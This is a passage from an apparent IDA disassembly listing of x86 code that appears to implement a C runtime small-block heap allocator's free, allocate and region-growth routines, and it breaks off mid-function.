		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_24]
		movsx	edx, byte ptr [ecx+4]
		test	edx, edx
		jnz	short loc_426A40
		mov	ecx, [ebp+var_24]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		and	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx


loc_426A40:				; CODE XREF: sub_4268C0+AAj
					; sub_4268C0:loc_4269D3j ...
		mov	ecx, [ebp+var_38]
		mov	edx, [ecx+8]
		mov	eax, [ebp+var_38]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	edx, [ebp+var_38]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_38]
		mov	edx, [ecx+8]
		mov	[eax+8], edx
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_14]
		mov	[ebp+var_30], eax


loc_426A67:				; CODE XREF: sub_4268C0+7Fj
		mov	ecx, [ebp+var_30]
		sar	ecx, 4
		sub	ecx, 1
		mov	[ebp+var_28], ecx
		cmp	[ebp+var_28], 3Fh
		jbe	short loc_426A80
		mov	[ebp+var_28], 3Fh


loc_426A80:				; CODE XREF: sub_4268C0+1B7j
		mov	edx, [ebp+var_C]
		and	edx, 1
		test	edx, edx
		jnz	loc_426BE4
		mov	eax, [ebp+var_1C]
		sub	eax, [ebp+var_C]
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+var_C]
		sar	ecx, 4
		sub	ecx, 1
		mov	[ebp+var_2C], ecx
		cmp	[ebp+var_2C], 3Fh
		jbe	short loc_426AB0
		mov	[ebp+var_2C], 3Fh


loc_426AB0:				; CODE XREF: sub_4268C0+1E7j
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_C]
		mov	[ebp+var_30], edx
		mov	eax, [ebp+var_30]
		sar	eax, 4
		sub	eax, 1
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 3Fh
		jbe	short loc_426AD2
		mov	[ebp+var_28], 3Fh


loc_426AD2:				; CODE XREF: sub_4268C0+209j
		mov	ecx, [ebp+var_2C]
		cmp	ecx, [ebp+var_28]
		jz	loc_426BDE
		mov	edx, [ebp+var_34]
		mov	eax, [ebp+var_34]
		mov	ecx, [edx+4]
		cmp	ecx, [eax+8]
		jnz	loc_426BC0
		cmp	[ebp+var_2C], 20h
		jnb	short loc_426B55
		mov	edx, 80000000h
		mov	ecx, [ebp+var_2C]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_3C]
		mov	eax, [ecx+eax*4+44h]
		and	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	[edx+ecx*4+44h], eax
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_2C]
		mov	cl, [eax+4]
		sub	cl, 1
		mov	edx, [ebp+var_3C]
		add	edx, [ebp+var_2C]
		mov	[edx+4], cl
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_2C]
		movsx	ecx, byte ptr [eax+4]
		test	ecx, ecx
		jnz	short loc_426B53
		mov	edx, 80000000h
		mov	ecx, [ebp+var_2C]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx


loc_426B53:				; CODE XREF: sub_4268C0+279j
		jmp	short loc_426BC0
; ---------------------------------------------------------------------------


loc_426B55:				; CODE XREF: sub_4268C0+234j
		mov	ecx, [ebp+var_2C]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	ecx, [edx+ecx*4+0C4h]
		and	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_3C]
		mov	[eax+edx*4+0C4h], ecx
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_2C]
		mov	dl, [ecx+4]
		sub	dl, 1
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_2C]
		mov	[eax+4], dl
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_2C]
		movsx	edx, byte ptr [ecx+4]
		test	edx, edx
		jnz	short loc_426BC0
		mov	ecx, [ebp+var_2C]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		and	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx


loc_426BC0:				; CODE XREF: sub_4268C0+22Aj
					; sub_4268C0:loc_426B53j ...
		mov	ecx, [ebp+var_34]
		mov	edx, [ecx+8]
		mov	eax, [ebp+var_34]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	edx, [ebp+var_34]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_34]
		mov	edx, [ecx+8]
		mov	[eax+8], edx


loc_426BDE:				; CODE XREF: sub_4268C0+218j
		mov	eax, [ebp+var_34]
		mov	[ebp+var_1C], eax


loc_426BE4:				; CODE XREF: sub_4268C0+1C8j
		mov	ecx, [ebp+var_C]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_426BFA
		mov	edx, [ebp+var_2C]
		cmp	edx, [ebp+var_28]
		jz	loc_426D0A


loc_426BFA:				; CODE XREF: sub_4268C0+32Cj
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_8]
		lea	edx, [ecx+eax*8]
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+4]
		mov	[eax+4], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_20]
		mov	[eax+8], ecx
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_1C]
		mov	[edx+4], eax
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx+4]
		mov	eax, [ebp+var_1C]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_1C]
		mov	eax, [ecx+4]
		cmp	eax, [edx+8]
		jnz	loc_426D0A
		cmp	[ebp+var_28], 20h
		jnb	short loc_426CA3
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_28]
		movsx	edx, byte ptr [ecx+4]
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_28]
		mov	cl, [eax+4]
		add	cl, 1
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_28]
		mov	[eax+4], cl
		test	edx, edx
		jnz	short loc_426C81
		mov	edx, 80000000h
		mov	ecx, [ebp+var_28]
		shr	edx, cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx


loc_426C81:				; CODE XREF: sub_4268C0+3A9j
		mov	eax, 80000000h
		mov	ecx, [ebp+var_28]
		shr	eax, cl
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	ecx, [edx+ecx*4+44h]
		or	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_3C]
		mov	[eax+edx*4+44h], ecx
		jmp	short loc_426D0A
; ---------------------------------------------------------------------------


loc_426CA3:				; CODE XREF: sub_4268C0+386j
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_28]
		movsx	edx, byte ptr [ecx+4]
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_28]
		mov	cl, [eax+4]
		add	cl, 1
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_28]
		mov	[eax+4], cl
		test	edx, edx
		jnz	short loc_426CE1
		mov	ecx, [ebp+var_28]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx


loc_426CE1:				; CODE XREF: sub_4268C0+404j
		mov	ecx, [ebp+var_28]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	ecx, [edx+ecx*4+0C4h]
		or	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_3C]
		mov	[eax+edx*4+0C4h], ecx


loc_426D0A:				; CODE XREF: sub_4268C0+334j
					; sub_4268C0+37Cj ...
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_30]
		mov	[ecx], edx
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_30]
		mov	[eax-4], ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+var_8]
		mov	[ecx], eax
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx], 0
		jnz	loc_426E98
		cmp	dword_4E98E0, 0
		jz	loc_426E87
		mov	eax, dword_4E98D4
		shl	eax, 0Fh
		mov	ecx, dword_4E98E0
		mov	edx, [ecx+0Ch]
		add	edx, eax
		mov	[ebp+var_18], edx
		push	4000h
		push	8000h
		mov	eax, [ebp+var_18]
		push	eax
		nop
		call	near ptr 29A0CE3h
		mov	edx, 80000000h
		mov	ecx, dword_4E98D4
		shr	edx, cl
		mov	eax, dword_4E98E0
		mov	ecx, [eax+8]
		or	ecx, edx
		mov	edx, dword_4E98E0
		mov	[edx+8], ecx
		mov	eax, dword_4E98E0
		mov	ecx, [eax+10h]
		mov	edx, dword_4E98D4
		mov	dword ptr [ecx+edx*4+0C4h], 0
		mov	eax, dword_4E98E0
		mov	ecx, [eax+10h]
		mov	dl, [ecx+43h]
		sub	dl, 1
		mov	eax, dword_4E98E0
		mov	ecx, [eax+10h]
		mov	[ecx+43h], dl
		mov	edx, dword_4E98E0
		mov	eax, [edx+10h]
		movsx	ecx, byte ptr [eax+43h]
		test	ecx, ecx
		jnz	short loc_426DE5
		mov	edx, dword_4E98E0
		mov	eax, [edx+4]
		and	al, 0FEh
		mov	ecx, dword_4E98E0
		mov	[ecx+4], eax


loc_426DE5:				; CODE XREF: sub_4268C0+50Fj
		mov	edx, dword_4E98E0
		cmp	dword ptr [edx+8], 0FFFFFFFFh
		jnz	loc_426E87
		push	8000h
		push	0
		mov	eax, dword_4E98E0
		mov	ecx, [eax+0Ch]
		push	ecx
		nop
		call	near ptr 29A0CE3h
		mov	edx, dword_4E98E0
		mov	eax, [edx+10h]
		push	eax
		push	0
		mov	ecx, dword_4E98C8
		push	ecx
		call	near ptr 29A0000h
		nop
		mov	edx, dword_4E98E4
		imul	edx, 14h
		mov	eax, dword_4E98E8
		add	eax, edx
		mov	ecx, dword_4E98E0
		add	ecx, 14h
		sub	eax, ecx
		push	eax
		mov	edx, dword_4E98E0
		add	edx, 14h
		push	edx
		mov	eax, dword_4E98E0
		push	eax
		call	sub_4237A0
		add	esp, 0Ch
		mov	ecx, dword_4E98E4
		sub	ecx, 1
		mov	dword_4E98E4, ecx
		mov	edx, [ebp+arg_0]
		cmp	edx, dword_4E98E0
		jbe	short loc_426E7B
		mov	eax, [ebp+arg_0]
		sub	eax, 14h
		mov	[ebp+arg_0], eax


loc_426E7B:				; CODE XREF: sub_4268C0+5B0j
		mov	ecx, dword_4E98E8
		mov	dword_4E98D8, ecx


loc_426E87:				; CODE XREF: sub_4268C0+47Ej
					; sub_4268C0+52Fj
		mov	edx, [ebp+arg_0]
		mov	dword_4E98E0, edx
		mov	eax, [ebp+var_4]
		mov	dword_4E98D4, eax


loc_426E98:				; CODE XREF: sub_4268C0+58j
					; sub_4268C0+471j
		mov	esp, ebp
		pop	ebp
		retn
sub_4268C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426EA0	proc near		; CODE XREF: sub_425BD0+4Cp
					; sub_425F40+D4p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	esi
		mov	eax, dword_4E98E4
		imul	eax, 14h
		mov	ecx, dword_4E98E8
		add	ecx, eax
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 17h
		and	edx, 0FFFFFFF0h
		mov	[ebp+var_28], edx
		mov	eax, [ebp+var_28]
		sar	eax, 4
		sub	eax, 1
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 20h
		jge	short loc_426EEC
		or	edx, 0FFFFFFFFh
		mov	ecx, [ebp+var_20]
		shr	edx, cl
		mov	[ebp+var_24], edx
		mov	[ebp+var_34], 0FFFFFFFFh
		jmp	short loc_426F01
; ---------------------------------------------------------------------------


loc_426EEC:				; CODE XREF: sub_426EA0+36j
		mov	[ebp+var_24], 0
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		or	eax, 0FFFFFFFFh
		shr	eax, cl
		mov	[ebp+var_34], eax


loc_426F01:				; CODE XREF: sub_426EA0+4Aj
		mov	ecx, dword_4E98D8
		mov	[ebp+var_18], ecx


loc_426F0A:				; CODE XREF: sub_426EA0+94j
		mov	edx, [ebp+var_18]
		cmp	edx, [ebp+var_2C]
		jnb	short loc_426F36
		mov	eax, [ebp+var_18]
		mov	ecx, [ebp+var_24]
		and	ecx, [eax]
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_34]
		and	eax, [edx+4]
		or	ecx, eax
		test	ecx, ecx
		jz	short loc_426F2B
		jmp	short loc_426F36
; ---------------------------------------------------------------------------


loc_426F2B:				; CODE XREF: sub_426EA0+87j
		mov	ecx, [ebp+var_18]
		add	ecx, 14h
		mov	[ebp+var_18], ecx
		jmp	short loc_426F0A
; ---------------------------------------------------------------------------


loc_426F36:				; CODE XREF: sub_426EA0+70j
					; sub_426EA0+89j
		mov	edx, [ebp+var_18]
		cmp	edx, [ebp+var_2C]
		jnz	loc_42701D
		mov	eax, dword_4E98E8
		mov	[ebp+var_18], eax


loc_426F4A:				; CODE XREF: sub_426EA0+D7j
		mov	ecx, [ebp+var_18]
		cmp	ecx, dword_4E98D8
		jnb	short loc_426F79
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_24]
		and	eax, [edx]
		mov	ecx, [ebp+var_18]
		mov	edx, [ebp+var_34]
		and	edx, [ecx+4]
		or	eax, edx
		test	eax, eax
		jz	short loc_426F6E
		jmp	short loc_426F79
; ---------------------------------------------------------------------------


loc_426F6E:				; CODE XREF: sub_426EA0+CAj
		mov	eax, [ebp+var_18]
		add	eax, 14h
		mov	[ebp+var_18], eax
		jmp	short loc_426F4A
; ---------------------------------------------------------------------------


loc_426F79:				; CODE XREF: sub_426EA0+B3j
					; sub_426EA0+CCj
		mov	ecx, [ebp+var_18]
		cmp	ecx, dword_4E98D8
		jnz	loc_42701D


loc_426F88:				; CODE XREF: sub_426EA0+104j
		mov	edx, [ebp+var_18]
		cmp	edx, [ebp+var_2C]
		jnb	short loc_426FA6
		mov	eax, [ebp+var_18]
		cmp	dword ptr [eax+8], 0
		jz	short loc_426F9B
		jmp	short loc_426FA6
; ---------------------------------------------------------------------------


loc_426F9B:				; CODE XREF: sub_426EA0+F7j
		mov	ecx, [ebp+var_18]
		add	ecx, 14h
		mov	[ebp+var_18], ecx
		jmp	short loc_426F88
; ---------------------------------------------------------------------------


loc_426FA6:				; CODE XREF: sub_426EA0+EEj
					; sub_426EA0+F9j
		mov	edx, [ebp+var_18]
		cmp	edx, [ebp+var_2C]
		jnz	short loc_426FF7
		mov	eax, dword_4E98E8
		mov	[ebp+var_18], eax


loc_426FB6:				; CODE XREF: sub_426EA0+135j
		mov	ecx, [ebp+var_18]
		cmp	ecx, dword_4E98D8
		jnb	short loc_426FD7
		mov	edx, [ebp+var_18]
		cmp	dword ptr [edx+8], 0
		jz	short loc_426FCC
		jmp	short loc_426FD7
; ---------------------------------------------------------------------------


loc_426FCC:				; CODE XREF: sub_426EA0+128j
		mov	eax, [ebp+var_18]
		add	eax, 14h
		mov	[ebp+var_18], eax
		jmp	short loc_426FB6
; ---------------------------------------------------------------------------


loc_426FD7:				; CODE XREF: sub_426EA0+11Fj
					; sub_426EA0+12Aj
		mov	ecx, [ebp+var_18]
		cmp	ecx, dword_4E98D8
		jnz	short loc_426FF7
		call	sub_4273E0
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_426FF7
		xor	eax, eax
		jmp	loc_4273D1
; ---------------------------------------------------------------------------


loc_426FF7:				; CODE XREF: sub_426EA0+10Cj
					; sub_426EA0+140j ...
		mov	edx, [ebp+var_18]
		push	edx
		call	sub_4274F0
		add	esp, 4
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx+10h]
		mov	[edx], eax
		mov	eax, [ebp+var_18]
		mov	ecx, [eax+10h]
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jnz	short loc_42701D
		xor	eax, eax
		jmp	loc_4273D1
; ---------------------------------------------------------------------------


loc_42701D:				; CODE XREF: sub_426EA0+9Cj
					; sub_426EA0+E2j ...
		mov	edx, [ebp+var_18]
		mov	dword_4E98D8, edx
		mov	eax, [ebp+var_18]
		mov	ecx, [eax+10h]
		mov	[ebp+var_38], ecx
		mov	edx, [ebp+var_38]
		mov	eax, [edx]
		mov	[ebp+var_30], eax
		cmp	[ebp+var_30], 0FFFFFFFFh
		jz	short loc_427060
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	eax, [ebp+var_24]
		and	eax, [edx+ecx*4+44h]
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	esi, [ebp+var_34]
		and	esi, [edx+ecx*4+0C4h]
		or	eax, esi
		test	eax, eax
		jnz	short loc_427095


loc_427060:				; CODE XREF: sub_426EA0+19Bj
		mov	[ebp+var_30], 0


loc_427067:				; CODE XREF: sub_426EA0+1F3j
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	edx, [ebp+var_24]
		and	edx, [ecx+eax*4+44h]
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	esi, [ebp+var_34]
		and	esi, [ecx+eax*4+0C4h]
		or	edx, esi
		test	edx, edx
		jnz	short loc_427095
		mov	edx, [ebp+var_30]
		add	edx, 1
		mov	[ebp+var_30], edx
		jmp	short loc_427067
; ---------------------------------------------------------------------------


loc_427095:				; CODE XREF: sub_426EA0+1BEj
					; sub_426EA0+1E8j
		mov	eax, [ebp+var_30]
		imul	eax, 204h
		mov	ecx, [ebp+var_38]
		lea	edx, [ecx+eax+144h]
		mov	[ebp+var_4], edx
		mov	[ebp+var_20], 0
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	edx, [ebp+var_24]
		and	edx, [ecx+eax*4+44h]
		mov	[ebp+var_1C], edx
		cmp	[ebp+var_1C], 0
		jnz	short loc_4270E2
		mov	[ebp+var_20], 20h
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	edx, [ebp+var_34]
		and	edx, [ecx+eax*4+0C4h]
		mov	[ebp+var_1C], edx


loc_4270E2:				; CODE XREF: sub_426EA0+226j
					; sub_426EA0+259j
		cmp	[ebp+var_1C], 0
		jl	short loc_4270FB
		mov	eax, [ebp+var_1C]
		shl	eax, 1
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+var_20]
		add	ecx, 1
		mov	[ebp+var_20], ecx
		jmp	short loc_4270E2
; ---------------------------------------------------------------------------


loc_4270FB:				; CODE XREF: sub_426EA0+246j
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+edx*8+4]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_10]
		mov	eax, [edx]
		sub	eax, [ebp+var_28]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		sar	ecx, 4
		sub	ecx, 1
		mov	[ebp+var_14], ecx
		cmp	[ebp+var_14], 3Fh
		jle	short loc_42712C
		mov	[ebp+var_14], 3Fh


loc_42712C:				; CODE XREF: sub_426EA0+283j
		mov	edx, [ebp+var_14]
		cmp	edx, [ebp+var_20]
		jz	loc_427350
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_10]
		mov	edx, [eax+4]
		cmp	edx, [ecx+8]
		jnz	loc_42721A
		cmp	[ebp+var_20], 20h
		jge	short loc_4271AF
		mov	eax, 80000000h
		mov	ecx, [ebp+var_20]
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	ecx, [edx+ecx*4+44h]
		and	ecx, eax
		mov	edx, [ebp+var_30]
		mov	eax, [ebp+var_38]
		mov	[eax+edx*4+44h], ecx
		mov	ecx, [ebp+var_38]
		add	ecx, [ebp+var_20]
		mov	dl, [ecx+4]
		sub	dl, 1
		mov	eax, [ebp+var_38]
		add	eax, [ebp+var_20]
		mov	[eax+4], dl
		mov	ecx, [ebp+var_38]
		add	ecx, [ebp+var_20]
		movsx	edx, byte ptr [ecx+4]
		test	edx, edx
		jnz	short loc_4271AD
		mov	eax, 80000000h
		mov	ecx, [ebp+var_20]
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		and	edx, eax
		mov	eax, [ebp+var_18]
		mov	[eax], edx


loc_4271AD:				; CODE XREF: sub_426EA0+2F3j
		jmp	short loc_42721A
; ---------------------------------------------------------------------------


loc_4271AF:				; CODE XREF: sub_426EA0+2AEj
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	eax, [ecx+eax*4+0C4h]
		and	eax, edx
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	[edx+ecx*4+0C4h], eax
		mov	eax, [ebp+var_38]
		add	eax, [ebp+var_20]
		mov	cl, [eax+4]
		sub	cl, 1
		mov	edx, [ebp+var_38]
		add	edx, [ebp+var_20]
		mov	[edx+4], cl
		mov	eax, [ebp+var_38]
		add	eax, [ebp+var_20]
		movsx	ecx, byte ptr [eax+4]
		test	ecx, ecx
		jnz	short loc_42721A
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_18]
		mov	ecx, [eax+4]
		and	ecx, edx
		mov	edx, [ebp+var_18]
		mov	[edx+4], ecx


loc_42721A:				; CODE XREF: sub_426EA0+2A4j
					; sub_426EA0:loc_4271ADj ...
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+8]
		mov	edx, [ebp+var_10]
		mov	eax, [edx+4]
		mov	[ecx+4], eax
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx+4]
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+8]
		mov	[edx+8], ecx
		cmp	[ebp+var_8], 0
		jz	loc_427350
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_4]
		lea	ecx, [eax+edx*8]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+var_C]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_10]
		mov	[ecx+4], edx
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+4]
		mov	edx, [ebp+var_10]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_10]
		mov	edx, [eax+4]
		cmp	edx, [ecx+8]
		jnz	loc_427350
		cmp	[ebp+var_14], 20h
		jge	short loc_4272EA
		mov	eax, [ebp+var_38]
		add	eax, [ebp+var_14]
		movsx	ecx, byte ptr [eax+4]
		mov	edx, [ebp+var_38]
		add	edx, [ebp+var_14]
		mov	al, [edx+4]
		add	al, 1
		mov	edx, [ebp+var_38]
		add	edx, [ebp+var_14]
		mov	[edx+4], al
		test	ecx, ecx
		jnz	short loc_4272C8
		mov	eax, 80000000h
		mov	ecx, [ebp+var_14]
		shr	eax, cl
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		or	edx, eax
		mov	eax, [ebp+var_18]
		mov	[eax], edx


loc_4272C8:				; CODE XREF: sub_426EA0+410j
		mov	edx, 80000000h
		mov	ecx, [ebp+var_14]
		shr	edx, cl
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	eax, [ecx+eax*4+44h]
		or	eax, edx
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	[edx+ecx*4+44h], eax
		jmp	short loc_427350
; ---------------------------------------------------------------------------


loc_4272EA:				; CODE XREF: sub_426EA0+3EEj
		mov	eax, [ebp+var_38]
		add	eax, [ebp+var_14]
		movsx	ecx, byte ptr [eax+4]
		mov	edx, [ebp+var_38]
		add	edx, [ebp+var_14]
		mov	al, [edx+4]
		add	al, 1
		mov	edx, [ebp+var_38]
		add	edx, [ebp+var_14]
		mov	[edx+4], al
		test	ecx, ecx
		jnz	short loc_427327
		mov	ecx, [ebp+var_14]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx+4]
		or	edx, eax
		mov	eax, [ebp+var_18]
		mov	[eax+4], edx


loc_427327:				; CODE XREF: sub_426EA0+46Aj
		mov	ecx, [ebp+var_14]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	eax, [ecx+eax*4+0C4h]
		or	eax, edx
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	[edx+ecx*4+0C4h], eax


loc_427350:				; CODE XREF: sub_426EA0+292j
					; sub_426EA0+39Cj ...
		cmp	[ebp+var_8], 0
		jz	short loc_42736A
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	edx, [ebp+var_10]
		add	edx, [ebp+var_8]
		mov	eax, [ebp+var_8]
		mov	[edx-4], eax


loc_42736A:				; CODE XREF: sub_426EA0+4B4j
		mov	ecx, [ebp+var_10]
		add	ecx, [ebp+var_8]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_28]
		add	edx, 1
		mov	eax, [ebp+var_10]
		mov	[eax], edx
		mov	ecx, [ebp+var_28]
		add	ecx, 1
		mov	edx, [ebp+var_10]
		add	edx, [ebp+var_28]
		mov	[edx-4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		add	eax, 1
		mov	edx, [ebp+var_4]
		mov	[edx], eax
		test	ecx, ecx
		jnz	short loc_4273C3
		mov	eax, [ebp+var_18]
		cmp	eax, dword_4E98E0
		jnz	short loc_4273C3
		mov	ecx, [ebp+var_30]
		cmp	ecx, dword_4E98D4
		jnz	short loc_4273C3
		mov	dword_4E98E0, 0


loc_4273C3:				; CODE XREF: sub_426EA0+501j
					; sub_426EA0+50Cj ...
		mov	edx, [ebp+var_38]
		mov	eax, [ebp+var_30]
		mov	[edx], eax
		mov	eax, [ebp+var_10]
		add	eax, 4


loc_4273D1:				; CODE XREF: sub_426EA0+152j
					; sub_426EA0+178j
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_426EA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4273E0	proc near		; CODE XREF: sub_426EA0+142p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4E98E4
		cmp	eax, dword_4E98D0
		jnz	short loc_42743B
		mov	ecx, dword_4E98D0
		add	ecx, 10h
		imul	ecx, 14h
		push	ecx
		mov	edx, dword_4E98E8
		push	edx
		push	0
		mov	eax, dword_4E98C8
		push	eax
		nop
		call	near ptr 2990000h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_427423
		xor	eax, eax
		jmp	loc_4274EB
; ---------------------------------------------------------------------------


loc_427423:				; CODE XREF: sub_4273E0+3Aj
		mov	ecx, [ebp+var_4]
		mov	dword_4E98E8, ecx
		mov	edx, dword_4E98D0
		add	edx, 10h
		mov	dword_4E98D0, edx


loc_42743B:				; CODE XREF: sub_4273E0+Fj
		mov	eax, dword_4E98E4
		imul	eax, 14h
		mov	ecx, dword_4E98E8
		add	ecx, eax
		mov	[ebp+var_4], ecx
		push	41C4h
		push	8
		mov	edx, dword_4E98C8
		push	edx
		nop
		call	near ptr 2980000h
		mov	ecx, [ebp+var_4]
		mov	[ecx+10h], eax
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+10h], 0
		jnz	short loc_427475
		xor	eax, eax
		jmp	short loc_4274EB
; ---------------------------------------------------------------------------


loc_427475:				; CODE XREF: sub_4273E0+8Fj
		push	4
		push	2000h
		push	100000h
		push	0
		call	near ptr 29A0E5Dh
		nop
		mov	ecx, [ebp+var_4]
		mov	[ecx+0Ch], eax
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+0Ch], 0
		jnz	short loc_4274B2
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+10h]
		push	ecx
		push	0
		mov	edx, dword_4E98C8
		push	edx
		nop
		call	near ptr 29A0000h
		xor	eax, eax
